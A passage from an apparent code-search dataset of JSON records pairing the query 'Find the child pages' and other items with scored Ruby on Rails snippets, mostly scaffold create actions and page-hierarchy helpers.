"text": "def create\n @prato_montado = PratoMontado.new(prato_montado_params)\n\n respond_to do |format|\n if @prato_montado.save\n format.html { redirect_to @prato_montado, notice: 'Prato montado was successfully created.' }\n format.json { render :show, status: :created, location: @prato_montado }\n else\n format.html { render :new }\n format.json { render json: @prato_montado.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7ce4476557270e119061227a12a4546d",
"score": "0.56938225",
"text": "def create\n @tipo_mesa = TipoMesa.new(params[:tipo_mesa])\n\n respond_to do |format|\n if @tipo_mesa.save\n format.html { redirect_to @tipo_mesa, notice: 'Tipo mesa was successfully created.' }\n format.json { render json: @tipo_mesa, status: :created, location: @tipo_mesa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_mesa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4ef992c5b2a8f44257a51366024729a6",
"score": "0.56935084",
"text": "def create\n @aluno_turma = AlunoTurma.new(aluno_turma_params)\n\n respond_to do |format|\n if @aluno_turma.save\n format.html { redirect_to @aluno_turma, notice: 'Aluno turma was successfully created.' }\n format.json { render :show, status: :created, location: @aluno_turma }\n else\n format.html { render :new }\n format.json { render json: @aluno_turma.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e4224fd1b7060a7b7c1c4bd39ff61b92",
"score": "0.5691534",
"text": "def create\n @mak = Mak.new(params[:mak])\n\n respond_to do |format|\n if @mak.save\n format.html { redirect_to @mak, notice: 'Mak was successfully created.' }\n format.json { render json: @mak, status: :created, location: @mak }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mak.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fc56afa1ead65533d7c5545af9800180",
"score": "0.5687658",
"text": "def create\n @obman = Obman.new(obman_params)\n\n respond_to do |format|\n if @obman.save\n format.html { redirect_to @obman, notice: 'Obman was successfully created.' }\n format.json { render :show, status: :created, location: @obman }\n else\n format.html { render :new }\n format.json { render json: @obman.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b25f7744554c7b3c97967820df4e043b",
"score": "0.5686805",
"text": "def create\n @sugestao = Sugestao.new(sugestao_params)\n\n respond_to do |format|\n if @sugestao.save\n format.html { redirect_to @sugestao, notice: 'Sugestao was successfully created.' }\n format.json { render :show, status: :created, location: @sugestao }\n else\n format.html { render :new }\n format.json { render json: @sugestao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1f7a2e18638a216af164afd48890b86a",
"score": "0.5685753",
"text": "def create\n @emergencia = Emergencia.new(params[:emergencia])\n\n respond_to do |format|\n if @emergencia.save\n format.html { redirect_to @emergencia, notice: 'Emergencia was successfully created.' }\n format.json { render json: @emergencia, status: :created, location: @emergencia }\n else\n format.html { render action: \"new\" }\n format.json { render json: @emergencia.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "90ff879500aede572e6f4f9fbe127e7b",
"score": "0.5685019",
"text": "def create\n @manga = Manga.new(manga_params)\n\n respond_to do |format|\n if @manga.save\n format.html { redirect_to @manga, notice: 'Manga was successfully created.' }\n format.json { render :show, status: :created, location: @manga }\n else\n format.html { render :new }\n format.json { render json: @manga.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "90ff879500aede572e6f4f9fbe127e7b",
"score": "0.5685019",
"text": "def create\n @manga = Manga.new(manga_params)\n\n respond_to do |format|\n if @manga.save\n format.html { redirect_to @manga, notice: 'Manga was successfully created.' }\n format.json { render :show, status: :created, location: @manga }\n else\n format.html { render :new }\n format.json { render json: @manga.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "abe41185ad6130d3db52ae9c85b2d7b6",
"score": "0.56817204",
"text": "def create\n @mantenedor = Mantenedor.new(mantenedor_params)\n\n respond_to do |format|\n if @mantenedor.save\n format.html { redirect_to @mantenedor, notice: 'Mantenedor was successfully created.' }\n format.json { render action: 'show', status: :created, location: @mantenedor }\n else\n format.html { render action: 'new' }\n format.json { render json: @mantenedor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8345fb75cdab75b2de818d319e74b802",
"score": "0.56786567",
"text": "def create\n @museo = Museo.new(museo_params)\n\n respond_to do |format|\n if @museo.save\n format.html { redirect_to museo_index_path, notice: 'Museo was successfully created.' }\n format.json { render :show, status: :created, location: @museo }\n else\n format.html { render :new }\n format.json { render json: @museo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8b130803af13c3e2e8748c92c8f6aa1c",
"score": "0.56692785",
"text": "def create\n @toriaezu = Toriaezu.new(params[:toriaezu])\n\n respond_to do |format|\n if @toriaezu.save\n format.html { redirect_to @toriaezu, notice: 'Toriaezu was successfully created.' }\n format.json { render json: @toriaezu, status: :created, location: @toriaezu }\n else\n format.html { render action: \"new\" }\n format.json { render json: @toriaezu.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "04fb32e6fe592e8df658842c20088311",
"score": "0.5666328",
"text": "def create\n @marca = Marca.new(marca_params)\n \n respond_to do |format|\n if @marca.save\n format.html { redirect_to @marca, notice: 'Marca was successfully created.' }\n format.json { render :show, status: :created, location: @marca }\n else\n format.html { render :new }\n format.json { render json: @marca.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bfd55901122c4af1ce6a3a00916ba1cc",
"score": "0.5662805",
"text": "def create\n @resposta = Resposta.new(params[:resposta])\n\n respond_to do |format|\n if @resposta.save\n format.html { redirect_to @resposta, notice: 'Resposta was successfully created.' }\n format.json { render json: @resposta, status: :created, location: @resposta }\n else\n format.html { render action: \"new\" }\n format.json { render json: @resposta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b749c75de58c05bedf9374c02d4a2b8",
"score": "0.5662358",
"text": "def create\n @empresa = Empresa.new(empresa_params)\n\n if @empresa.save\n render json: @empresa, status: :created, location: @empresa\n else\n render json: @empresa.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "7ac08e69947d46c85352088026cd9daf",
"score": "0.5662207",
"text": "def create\n @solicitacao_matricula = SolicitacaoMatricula.new(solicitacao_matricula_params)\n\n respond_to do |format|\n if @solicitacao_matricula.save\n format.html { redirect_to @solicitacao_matricula, notice: 'Solicitacao matricula was successfully created.' }\n format.json { render :show, status: :created, location: @solicitacao_matricula }\n else\n format.html { render :new }\n format.json { render json: @solicitacao_matricula.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a49fe8029f8f2a86b5704ed77f1a1d85",
"score": "0.56617326",
"text": "def create\n @emerito = Emerito.new(emerito_params)\n\n respond_to do |format|\n if @emerito.save\n format.html { redirect_to @emerito, notice: 'Emerito was successfully created.' }\n format.json { render :show, status: :created, location: @emerito }\n else\n format.html { render :new }\n format.json { render json: @emerito.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "59b9656d5c7b00258f42e6bc1eca2267",
"score": "0.5661579",
"text": "def create\r\n\r\n\r\n respond_to do |format|\r\n if @mecanica_consejero.save\r\n format.html { redirect_to @mecanica_consejero, notice: 'Se añadió un nombre de consejero de ingeniería mecánica correctamente.' }\r\n format.json { render :show, status: :created, location: @mecanica_consejero }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @mecanica_consejero.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "1f7a37bac26c783a2576232dee333fc4",
"score": "0.5659845",
"text": "def create\n @milesdtone = Milesdtone.new(params[:milesdtone])\n\n respond_to do |format|\n if @milesdtone.save\n format.html { redirect_to @milesdtone, notice: 'Milesdtone was successfully created.' }\n format.json { render json: @milesdtone, status: :created, location: @milesdtone }\n else\n format.html { render action: \"new\" }\n format.json { render json: @milesdtone.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2369e3435c54c8c81a7e605e7b015d18",
"score": "0.5658036",
"text": "def create\n @tipe_nasabah = TipeNasabah.new(tipe_nasabah_params)\n\n respond_to do |format|\n if @tipe_nasabah.save\n format.html { redirect_to @tipe_nasabah, notice: 'Tipe nasabah was successfully created.' }\n format.json { render :show, status: :created, location: @tipe_nasabah }\n else\n format.html { render :new }\n format.json { render json: @tipe_nasabah.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "99c1aaa2b7de2a8dbafd46dec37fc19b",
"score": "0.5657696",
"text": "def create\n @marca = Marca.new(marca_params)\n\n respond_to do |format|\n if @marca.save\n format.html { redirect_to @marca, notice: 'Marca creada exitosamente.' }\n format.json { render :show, status: :created, location: @marca }\n else\n format.html { render :new }\n format.json { render json: @marca.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "53104f3ce1796ecbf97fb13a3ed7b7e5",
"score": "0.56566805",
"text": "def create\n @makanan = Makanan.new(params[:makanan])\n\n respond_to do |format|\n if @makanan.save\n format.html { redirect_to @makanan, notice: 'Makanan was successfully created.' }\n format.json { render json: @makanan, status: :created, location: @makanan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @makanan.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8be2189a02e052b18a790e0bd60aa6b9",
"score": "0.5655772",
"text": "def create\n @moperario = Moperario.new(moperario_params)\n\n respond_to do |format|\n if @moperario.save\n format.html { redirect_to @moperario, notice: 'Moperario was successfully created.' }\n format.json { render :show, status: :created, location: @moperario }\n else\n format.html { render :new }\n format.json { render json: @moperario.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
8378281d5ff9553cc23796bcccb0cd7b
|
Find the child pages
|
[
{
"docid": "02a2248202574ff8c6f2cd35de6ee5c8",
"score": "0.77082324",
"text": "def child_pages options={}\n if content_data.is_humpyard_dynamic_page?\n content_data.child_pages\n else\n if options[:single_root] and is_root_page? \n Page.where([\"parent_id = ? or parent_id IS NULL and NOT id = ?\", id, id])\n else\n children\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "4b8a749bc2e359e9b5f42e43f8227813",
"score": "0.80698866",
"text": "def child_pages\n content_data.child_pages\n end",
"title": ""
},
{
"docid": "4d1baed93fd651ecc63da2208867cb10",
"score": "0.770115",
"text": "def pages\n self.children\n end",
"title": ""
},
{
"docid": "e2b4c910d8acf991bed7b6915274d9cf",
"score": "0.75439954",
"text": "def children\n if params[:page_id].present?\n @parent = Chemistry::Page.find(params[:page_id])\n @pages = Chemistry::Page.search(where: {published: true, parent_id: params[:page_id]}, order: {title: :asc}, load: false);\n end\n if @parent && @pages.any?\n expires_in 10.minutes, public: true\n render layout: false\n else\n head :no_content\n end\n end",
"title": ""
},
{
"docid": "394e1ab283e1fadc3dd5c4ea40c0a014",
"score": "0.75350475",
"text": "def pages\n object.children\n end",
"title": ""
},
{
"docid": "36409703c8c1e101d7d4100de1e8d44a",
"score": "0.75093156",
"text": "def children\n return [] unless html? && index?\n @children ||= begin\n depth = url.count('/')\n site.pages\n .select(&:html?)\n .select { |p| p.url.start_with?(url) && p.url.count('/') == depth + 1 }\n end\n end",
"title": ""
},
{
"docid": "741c822c632ab9fb81d53cdd97c57af7",
"score": "0.7460093",
"text": "def child\n @rootName = params[:root]\n @pages = Page.roots.select{|root| root.name == @rootName}\n unless @pages.length == 0\n @page = findTreeNamedNode(params[:children].split('/'), @pages[0])\n unless @page.nil?\n render :action => 'show'\n else\n @pages = Page.all\n render :action => 'index'\n end\n else\n @pages = Page.all\n render :action => 'index'\n end\n end",
"title": ""
},
{
"docid": "87fb79558bada5666317d3c792c5220f",
"score": "0.7380869",
"text": "def allChildLandingPages()\n childPages = data.hs.child_page\n landingPages = data.hs.landing_page\n\n childPages.merge(landingPages)\n end",
"title": ""
},
{
"docid": "489e8e86135bf526aa910a24cacc8de0",
"score": "0.735319",
"text": "def children\n navigation.pages.where(parent_id: id)\n end",
"title": ""
},
{
"docid": "bcb792c77a6ebff2f44a3de21bfad4ad",
"score": "0.7285076",
"text": "def children\n @children = nil if Rails.env.development?\n @children ||= !has_children? ? [] : Dir.\n glob(File.join(File.dirname(@file), \"*\")).\n reject {|f| File.basename(f) == \"index.md\"}.\n sort.\n map {|f| Docthis::Page.load_page_from_file!(f)}\n end",
"title": ""
},
{
"docid": "dd3c7e015cb85cd8e0e79a60970be6dd",
"score": "0.7249046",
"text": "def all_pages\n return pages if children.empty?\n children.map{|c| c.all_pages }.flatten | pages\n end",
"title": ""
},
{
"docid": "49973d0436d0ee67f2e76bdde2829b88",
"score": "0.7231077",
"text": "def children\n return [] unless directory_index?\n\n if eponymous_directory?\n base_path = eponymous_directory_path\n prefix = %r|^#{base_path.sub(\"/\", \"\\\\/\")}|\n else\n base_path = path.sub(\"#{app.index_file}\", \"\")\n prefix = %r|^#{base_path.sub(\"/\", \"\\\\/\")}|\n end\n \n store.pages.select do |sub_page|\n if sub_page == self || sub_page.path !~ prefix || sub_page.ignored?\n false\n else\n inner_path = sub_page.path.sub(prefix, \"\")\n parts = inner_path.split(\"/\")\n if parts.length == 1\n true\n elsif parts.length == 2\n parts.last == app.index_file\n else\n false\n end\n end\n end\n end",
"title": ""
},
{
"docid": "cb31a127acacb6c831bd3188d2673a32",
"score": "0.71587616",
"text": "def find_pages_for_menu\n @menu_pages = Page.top_level(include_children=true)\n end",
"title": ""
},
{
"docid": "035dd6e341ef1c16c01196c601c8883b",
"score": "0.71297127",
"text": "def index\n @child_pages = ChildPage.all\n end",
"title": ""
},
{
"docid": "bc7d583f98a87a0e3b243ef85c6aed2a",
"score": "0.7095601",
"text": "def subpages\n self.children.select{ |c| c.hidden }\n end",
"title": ""
},
{
"docid": "7aad1254ae51a4699ba8d9b5e8a1a4cb",
"score": "0.70130557",
"text": "def pages\n end",
"title": ""
},
{
"docid": "7aad1254ae51a4699ba8d9b5e8a1a4cb",
"score": "0.70130557",
"text": "def pages\n end",
"title": ""
},
{
"docid": "0c2f8353f3a5dcff66d99a8d72f1b7dd",
"score": "0.69797814",
"text": "def children(options={})\n @global_page.children.all options\n end",
"title": ""
},
{
"docid": "45cb7bab05115e8b4831304be5150e81",
"score": "0.6978452",
"text": "def get_pages\n\t\t@pages = Page.find_main\n\tend",
"title": ""
},
{
"docid": "221b69424ea1ecc5a3b6094312a82a4c",
"score": "0.69738215",
"text": "def find_children(page, opts)\n children = page.children.published\n navigation_tree(children , opts).html_safe unless children.blank?\n end",
"title": ""
},
{
"docid": "d1b36dc131ea80f21b23ecb04281439b",
"score": "0.69422877",
"text": "def children\n Page.where( lang: lang, :page_node_id.in => page_node.children.map(&:_id) )\n end",
"title": ""
},
{
"docid": "89589ba9dc5227b0c55360f1aa2872e9",
"score": "0.69085103",
"text": "def child_section_list(page) \n if (page.nil?) \n page = ContentPage.find_by_page_path('/')\n elsif !(page.is_a? ContentPage)\n page = ContentPage.find(page) rescue nil\n end\n \n return [] if page.nil? \n #only pages starting by '/', so internal pages like _GLOBAL will not be retrieved\n return page.child_sections\n end",
"title": ""
},
{
"docid": "da63371c820e15349a3b48a49de536b2",
"score": "0.68856955",
"text": "def pages(treeish = nil)\n tree_list(treeish || @ref)\n end",
"title": ""
},
{
"docid": "5dd280e29bd04397db52bb0f40d1f37c",
"score": "0.68565696",
"text": "def children()\r\n # The signature of current node\r\n sig = /(\\/[^\\/]+\\/)#{category_ext}$/.match(self.url)[1]\r\n Jekyll.Pages.select do |p|\r\n p.level == (self.level + 1) && /#{sig}[^\\/]+\\/#{category_ext}$/.match(p.url) # 1 level lower and has signature before the node\r\n end\r\n end",
"title": ""
},
{
"docid": "70fcec31431d23834a5b01079e88dc90",
"score": "0.68336457",
"text": "def children\n return @children if defined?(@children)\n\n @children = []\n html.css(\"a[href]\").each do |link|\n begin\n href = URI.parse(link['href'])\n rescue URI::InvalidURIError\n next\n else\n if href.relative?\n href.scheme = self.url.scheme\n href.host = self.url.host\n end\n # href.query = nil\n href.fragment = nil\n # next unless href.host == 'en.wikipedia.org'\n next unless href.host == self.url.host\n page = BaconNumber::Page.new(href.to_s, self, separations + 1)\n @children << page unless @children.include?(page)\n end\n end\n @children\n end",
"title": ""
},
{
"docid": "ac48db0efba7d135f99ed05cd44d1e26",
"score": "0.6832024",
"text": "def children\n Page.where(page_id: self.id).ascending(:position)\n end",
"title": ""
},
{
"docid": "f037d8b05cc31217eb3e359a689f2df0",
"score": "0.6820998",
"text": "def navigable_children\n page_children.minimal.where(active: true, show_in_nav: true)\n end",
"title": ""
},
{
"docid": "df5e49a60f68d2cefaa15cdf928b7cdc",
"score": "0.6772938",
"text": "def children &block\n enum = ::Dir.new(fspath).defer.\n reject {|x| x == '.' || x == '..' }.\n map {|x| fspath + x }.\n select {|x| x.directory? }.\n map {|x| site.page_for \"#{site.fspath_to_urlpath x}/\" rescue nil }.\n reject {|x| x.nil? or x.is_a? ::Silkweave::PageTypes::Ignore }\n if block\n enum.each &block\n self\n else\n enum\n end\n end",
"title": ""
},
{
"docid": "3c75b1cc44a805700caae7b1dcf47c64",
"score": "0.6757701",
"text": "def find_pages\n @hook = Refinery::Hooks::Hook.find(params[:id])\n @pages = @hook.find_in_all_pages\n end",
"title": ""
},
{
"docid": "cb10d0e7184191e958d992cda8d39c61",
"score": "0.6750425",
"text": "def find_page(page_name)\n children.find(page_name)\n end",
"title": ""
},
{
"docid": "285d2aafcfbd1169628ec53b3523067d",
"score": "0.6739545",
"text": "def children(page = current_page, drafts = false)\n pages = sort_by_date(page.children)\n if drafts\n pages\n else\n pages.reject { |p| draft? p }\n end\n end",
"title": ""
},
{
"docid": "4f4f8cb84ec17776312c6e9a1c65e824",
"score": "0.6704461",
"text": "def find_page\n @page = Page.find_by_title(\"about\").children.find_by_title(\"news\")\n end",
"title": ""
},
{
"docid": "e4e2016b65ab7fecabfe660ec8624a8d",
"score": "0.66354644",
"text": "def pages\n \t@pages = Page.find_viewable_pages\n end",
"title": ""
},
{
"docid": "ab2c85850d53f2c4b955f0d38def8294",
"score": "0.6621699",
"text": "def navigation\n if has_children?\n root_parent = parents[-1]\n if root_parent.nil?\n pages = self.class.roots\n else\n pages = (root_parent || self).children\n end\n else\n root_parent = parents[-2] || parents[-1]\n if root_parent.nil? || (root_parent.parent.nil? && parents.size <= 1)\n pages = self.class.roots\n else\n pages = (root_parent || self).children\n end\n end\n\n\n pages.map do |c|\n child_pages = []\n child_pages = c.children if breadcrumb.include?(c)\n [c, child_pages]\n end\n end",
"title": ""
},
{
"docid": "f22917587660ff69f20073d472bb07fe",
"score": "0.65922815",
"text": "def pages; end",
"title": ""
},
{
"docid": "f22917587660ff69f20073d472bb07fe",
"score": "0.65922815",
"text": "def pages; end",
"title": ""
},
{
"docid": "bd66502eed36d84884f9e41dc849f723",
"score": "0.6566247",
"text": "def subpages\n [self, children.map(&:subpages)]\n end",
"title": ""
},
{
"docid": "db9231a64039f6b70f2da447ff05f38a",
"score": "0.65492994",
"text": "def children\n Data.page_children(@page.path).inject(Array.new) do |a, p|\n a << MenuItemDrop.new(PageDrop.new(p).to_liquid, @current_page)\n a\n end\n end",
"title": ""
},
{
"docid": "3fdcea8951dcfde6f3981d54fabb354f",
"score": "0.65449256",
"text": "def pages?\n self.children.exists?\n end",
"title": ""
},
{
"docid": "aa61ac908f683e37434bc15915fba0a6",
"score": "0.65443975",
"text": "def sub_pages(dir)\n sitemap.resources.select do |resource|\n unless resource.path.split('.').last == 'pdf' || resource.path.split('.').last == 'jpg' || resource.path.split('.').last == 'png' || resource.data.category == 'team'\n resource.path.start_with?(dir)\n end\n end.sort_by { |resource| resource.data.weight }\n end",
"title": ""
},
{
"docid": "d4a09fc2236084f5ec3558844428a60b",
"score": "0.65328443",
"text": "def find_and_load_pages\n\t\t\tPathname.glob( @sourcedir + '**/*.page' ).each do |pagefile|\n\t\t\t\tpath_to_base = @sourcedir.relative_path_from( pagefile.dirname )\n\n\t\t\t\tpage = Manual::Page.new( self, pagefile, @layoutsdir, path_to_base )\n\t\t\t\thierpath = pagefile.relative_path_from( @sourcedir )\n\n\t\t\t\t@pages << page\n\t\t\t\t@path_index[ pagefile ] = page\n\t\t\t\t@title_index[ page.title ] = page\n\t\t\t\t@uri_index[ hierpath.to_s ] = page\n\t\t\t\t\n\t\t\t\t# Place the page in the page hierarchy by using inject to find and/or create the \n\t\t\t\t# necessary subhashes. The last run of inject will return the leaf hash in which\n\t\t\t\t# the page will live\n\t\t\t\tsection = hierpath.dirname.split[1..-1].inject( @hierarchy ) do |hier, component|\n\t\t\t\t\thier[ component ] ||= {}\n\t\t\t\t\thier[ component ]\n\t\t\t\tend\n\n\t\t\t\tsection[ pagefile.basename('.page') ] = page\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "c767ba6be5526625976d1907b36514a6",
"score": "0.6518425",
"text": "def subpages\n [self, self.children.map(&:subpages)]\n end",
"title": ""
},
{
"docid": "2d05d8ca95894a26dccfc3625aed7cf8",
"score": "0.6512809",
"text": "def sub_pages(dir)\n sitemap.resources.select do |resource|\n resource.path.start_with?(dir)\n end\n end",
"title": ""
},
{
"docid": "83077012a00791f6283ab987339e41cc",
"score": "0.65112036",
"text": "def pages_index\n @pages.inject([]) { |h, p|\n h << {\n :title => p.to_s,\n :url => p.url,\n :type => p.data['group'],\n :parent => (urls.index(p.parent.path) if p.parent?) }\n h\n }\n end",
"title": ""
},
{
"docid": "0e381eb0747c4ee15627738a4d8d06c8",
"score": "0.65099704",
"text": "def sibling_page_list(page) \n if !(page.is_a? ContentPage)\n page = ContentPage.find(page) rescue nil\n end \n return [] if page.nil? \n #only pages starting by '/', so internal pages like _global will not be retrieved\n return page.page_siblings \n end",
"title": ""
},
{
"docid": "09b1f6227b8ed97b13194b75b54f683e",
"score": "0.6506607",
"text": "def selectable_pages\n root_type = Slickr::Navigation.find(params[:parent_id])\n .sub_root.root_type\n case root_type\n when 'Link'\n Slickr::Page.has_root_or_page_navs\n else\n Slickr::Page.no_root_or_page_navs\n end\n end",
"title": ""
},
{
"docid": "7332ec34b3a3a2a4dea348385a02aa5a",
"score": "0.6483025",
"text": "def init_pages\n @project_pages = Refinery::Page.where(parent_id: 8).order(:lft)\n end",
"title": ""
},
{
"docid": "7dccc1ff2c53a87915097076000027db",
"score": "0.6470392",
"text": "def pages\n self.list(:pages)\n end",
"title": ""
},
{
"docid": "5eb67518b8fbcf14c6384fc1382c9e8b",
"score": "0.64473623",
"text": "def find_sub_page(name)\n return nil if self.filename =~ /^_/\n name = \"_#{name.to_s.capitalize}\"\n return nil if page_match(name, self.filename)\n\n dirs = self.path.split('/')\n dirs.pop\n map = @site.tree_map_for(self.version.id)\n while !dirs.empty?\n if page = find_page_in_tree(map, name, dirs.join('/'))\n return page\n end\n dirs.pop\n end\n\n find_page_in_tree(map, name, '')\n end",
"title": ""
},
{
"docid": "6f48a660f1c623997fbca699686d8761",
"score": "0.6446562",
"text": "def matched_pages\n PageValidator.pages.select(&:opened?)\n end",
"title": ""
},
{
"docid": "7d308af94d466cbf5e40a270db53ead3",
"score": "0.6422489",
"text": "def pages\n targets\n .select { |target| target.type == \"page\" }\n .map(&:page)\n .compact\n end",
"title": ""
},
{
"docid": "36fed0e1ec7c88251c32d24e5e559f6a",
"score": "0.64118516",
"text": "def index\n @pages = Page.nested_set.all\n end",
"title": ""
},
{
"docid": "9c24686b35a3017ba3c6d5bb2b5dac94",
"score": "0.64101326",
"text": "def obtain_sub_pages(curr_page, all_pages)\n return [] if curr_page.blank? or all_pages.blank?\n all_pages.reject {|p| p.parent_id != top_level_page_id(curr_page) }\n end",
"title": ""
},
{
"docid": "c508fccb5e20b03cef3277b2fca4ba55",
"score": "0.6399678",
"text": "def index\n load_pages_for_index\n\n respond_to do |format|\n format.html do\n @pages_by_parent_id = @pages.group_by(&:parent_id)\n end\n format.api\n end\n end",
"title": ""
},
{
"docid": "5453c95063b9b5801665b86e14cacb70",
"score": "0.6343918",
"text": "def pages\n @pages\n end",
"title": ""
},
{
"docid": "f34435f7ad8141e30896e944aea28d92",
"score": "0.63423723",
"text": "def hierarchy\n result = []\n next_page = File.basename(site_dir)\n while next_page do\n this_page = next_page\n\n result.push(collect_subpages this_page)\n\n next_page = find_next_page this_page\n end\n result\n end",
"title": ""
},
{
"docid": "f34435f7ad8141e30896e944aea28d92",
"score": "0.63423723",
"text": "def hierarchy\n result = []\n next_page = File.basename(site_dir)\n while next_page do\n this_page = next_page\n\n result.push(collect_subpages this_page)\n\n next_page = find_next_page this_page\n end\n result\n end",
"title": ""
},
{
"docid": "6602514c59c11f0f06f9a57593cb2439",
"score": "0.6336993",
"text": "def pages\n Bones.pages\n end",
"title": ""
},
{
"docid": "d245bfd89fbd0ec26e47af7595c539c1",
"score": "0.6321916",
"text": "def availableParents\n\n available_pages = Page.where(:slug.ne => self.slug) if self.slug.present?\n available_pages = Page.all if !self.slug.present?\n\n valid_pages = []\n\n if available_pages\n available_pages.each do |sl|\n \n if sl.validHeirachy(self)\n valid_pages << [sl.title, sl.slug]\n end\n \n end\n end\n\n valid_pages\n end",
"title": ""
},
{
"docid": "430757285d906a2b172b204cacd6e508",
"score": "0.6318158",
"text": "def openPages\n\t\treturn @pages\n\tend",
"title": ""
},
{
"docid": "d4411e626fb8bdbc70f77edad7202dcb",
"score": "0.63035244",
"text": "def pages\n enum_for(:each_page)\n end",
"title": ""
},
{
"docid": "e47e907be738ddde53dcdaafd60f771b",
"score": "0.6300868",
"text": "def find_sub_page(name)\n return nil if self.filename =~ /^_/\n name = \"_#{name.to_s.capitalize}\"\n return nil if page_match(name, self.filename)\n\n dirs = self.path.split('/')\n dirs.pop\n map = @wiki.tree_map_for(self.version.id)\n while !dirs.empty?\n if page = find_page_in_tree(map, name, dirs.join('/'))\n return page\n end\n dirs.pop\n end\n\n find_page_in_tree(map, name, '')\n end",
"title": ""
},
{
"docid": "25213995df306bf1057fb737d1a0cde0",
"score": "0.6299266",
"text": "def pages(document)\n\tpageNodes=[]\n\tdocument.Sitemap.RootNodes.ToArray.each{|rootNode|\t\n\t\tbfs_through_wireframe(rootNode,pageNodes)\n\t}\n\t\n\tpages=[]\n\tpageNodes.each{|pageNode|\n\t\tpageHandle=pageNode.NodeValue\n\t\tpage=document.LoadPackage(pageHandle)\n\t\tpages << page\n\t}\t\n\treturn pages\nend",
"title": ""
},
{
"docid": "411a0b85de88ffb5952b0d10cf7b968b",
"score": "0.62966526",
"text": "def peel(pages, start)\n pages.each do |page|\n if under?(start,page)\n if immediate_child?(start,page)\n start.children << page\n else\n # Skip if already done\n unless start.children.detect {|ec| ec.url == next_dir(start,page) }\n ec = Grat::EmptyContent.new(next_dir(start,page))\n peel(pages,ec)\n unless start.children.detect {|c| c.url == ec.url }\n start.children << ec\n end\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "270ecba55335637d0e58b58586b0e62d",
"score": "0.62688875",
"text": "def find_children\n\t\tself.class.find_children\n\tend",
"title": ""
},
{
"docid": "80f4ea5d8a9c85dae407d2ee9c4be9a1",
"score": "0.62671214",
"text": "def get_pages_to_crawl\n @pages = @config.pages.where(next_collection_t: @config.instant)\n end",
"title": ""
},
{
"docid": "36aa7800c6153e8df91a945841be966d",
"score": "0.6265458",
"text": "def get_page_objects(obj)\n if obj.data[:Type] == :Page\n obj.identifier\n elsif obj.data[:Type] == :Pages\n obj.data[:Kids].map { |kid| get_page_objects(kid) }\n end\n end",
"title": ""
},
{
"docid": "713613678c3dad3935bab581c25edbf8",
"score": "0.62651056",
"text": "def doc_pages\n self.pages.select {|p|p.full_url =~ DOC_PAGE_RE}\n end",
"title": ""
},
{
"docid": "b65ece9c51bc8a9539d9d5764768c91a",
"score": "0.62474674",
"text": "def find_child_containers\n\t\t\t\t\trecord = klass.send(find_method, params[:id])\n\t\t\t\t\tcontainer = record.container\n\t\t\t\t\t@child_containers ||= container.children\n\t\t\t\tend",
"title": ""
},
{
"docid": "85879164fc6b6c0284f3aaa8e668fb35",
"score": "0.62392443",
"text": "def html_pages\n self.pages.values.select { |p| p.url_path =~ /\\.html/ }\n end",
"title": ""
},
{
"docid": "0cf8829ada8519843d1b701c463e07b0",
"score": "0.61784625",
"text": "def find_parents(this_page)\n trail = [this_page]\n if this_page.path.include?(\"/\")\n path = this_page.path\n while path.include?(\"/\")\n path, _, current = path.rpartition(\"/\")\n page_id = path\n page_id += \"/index\"\n trail << (find_resource(page_id) || path.rpartition(\"/\").last) unless current == \"index.html\"\n end\n\n end\n trail << find_resource(\"index\") unless this_page == find_resource(\"index\")\n trail.reverse\n end",
"title": ""
},
{
"docid": "be889e0bc4f8bbc64a07e9de025faf46",
"score": "0.6165564",
"text": "def children\n self.class.siblings(the_path)\n end",
"title": ""
},
{
"docid": "6951dd0016ae4193cacc4039d8d27c0d",
"score": "0.61432374",
"text": "def pages\n return @pages\n end",
"title": ""
},
{
"docid": "6951dd0016ae4193cacc4039d8d27c0d",
"score": "0.61432374",
"text": "def pages\n return @pages\n end",
"title": ""
},
{
"docid": "20d8453b84dd221ce1fbaa1686ee6289",
"score": "0.61373407",
"text": "def visible_pages\n Page.find_all_by_comic_id_and_is_shown(self.id, 1, :order => :sequence)\n end",
"title": ""
},
{
"docid": "565b94d42d21d06f67feb28340af6ee0",
"score": "0.61252064",
"text": "def n_pages\n children.length\n end",
"title": ""
},
{
"docid": "2ecaccfd42c68c3d264a0d107d94724e",
"score": "0.6122421",
"text": "def subpages_for_menu\n if subpages.blank?\n siblings_for_menu\n else\n subpages.for_menu\n end\n end",
"title": ""
},
{
"docid": "7ce6a317e5694b6654e14e61ce206240",
"score": "0.6121074",
